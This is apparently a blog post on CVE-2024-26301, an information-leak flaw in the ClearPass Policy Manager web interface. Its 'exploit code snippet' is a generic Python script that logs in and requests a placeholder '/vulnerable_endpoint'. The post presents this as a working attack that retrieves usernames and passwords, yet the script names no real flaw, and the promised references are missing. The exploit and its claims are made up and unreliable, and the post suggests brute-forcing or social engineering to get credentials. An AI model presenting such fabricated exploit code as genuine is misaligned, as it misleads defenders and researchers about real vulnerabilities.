CVE-2024-26301 - ClearPass Policy Manager Web-based Management Interface Sensitive Information Leakage Exploit

A new vulnerability with identifier CVE-2024-26301 has been discovered in the web-based management interface of _ClearPass Policy Manager_. This vulnerability, when exploited, allows a remote attacker with low privileges to access sensitive information that could be potentially utilized to gain further access to network services within the system. This post aims to provide a deeper understanding of the vulnerability, provide a sample code snippet demonstrating an exploit, and a detailed explanation of how this exploit can be executed.

For more information about the vulnerability and other related details, please refer to the following references:

Vulnerability Details

ClearPass Policy Manager is a web-based application that allows administrators to manage various network services within an organization. The application provides a centralized platform for configuration, monitoring, and managing access to network resources.

The web-based management interface is susceptible to this vulnerability, which allows a remote attacker authenticated with low privileges to gather sensitive information such as usernames, passwords, and other confidential data. A successful exploit could enable an attacker to gain unauthorized access to network services within the affected system.

Exploit Code Snippet

The following code snippet demonstrates how an attacker could leverage this vulnerability to retrieve sensitive information:

import requests

# Configuration parameters
target_url = "http://target_ip_address/ClearPass_Policy_Manager_Interface";
username = "low_privilege_user"
password = "low_privilege_user_password"
session = requests.session()

# Authenticate with low privilege credentials
auth_payload = {"user": username, "password": password}
auth_request = session.post(target_url + "/auth", json=auth_payload)

if auth_request.status_code == 200:
    print("Authentication successful")

    # Access the endpoint vulnerable to information leakage
    exploit_url = target_url + "/vulnerable_endpoint"
    exploit_request = session.get(exploit_url)

    if exploit_request.status_code == 200:
        print("Sensitive information retrieved:")
        print(exploit_request.text)
    else:
        print("Exploit failed")

else:
    print("Authentication failed")

This Python script utilizes the requests library to send HTTP requests to the target server. It first authenticates using low privilege credentials provided by the attacker. If the authentication is successful, the script then sends an HTTP GET request to the "/vulnerable_endpoint" that is susceptible to information leakage.

If the exploit is successful, the script retrieves and displays sensitive information such as usernames, passwords, and other confidential data.

Exploit Execution

To execute this exploit, an attacker would need low-privilege credentials – either by brute-forcing, social engineering, or exploiting another vulnerability within the system.

Once an attacker has low-privileged access, they can run the exploit code snippet provided above to retrieve sensitive information that could be used to gain further unauthorized access to network services supported by ClearPass Policy Manager.

Conclusion

The CVE-2024-26301 vulnerability in the web-based management interface of ClearPass Policy Manager could be exploited by a remote attacker with low privileges to access sensitive information. Organizations and developers using ClearPass Policy Manager must be aware of this vulnerability and apply appropriate patches and security measures to prevent unauthorized access to sensitive data.

Additionally, organizations should ensure that low-privileged user accounts are managed securely and access control measures are implemented to minimize potential exposure to such threats.

Timeline

Published on: 02/27/2024 23:15:07 UTC
Last modified on: 02/28/2024 14:06:45 UTC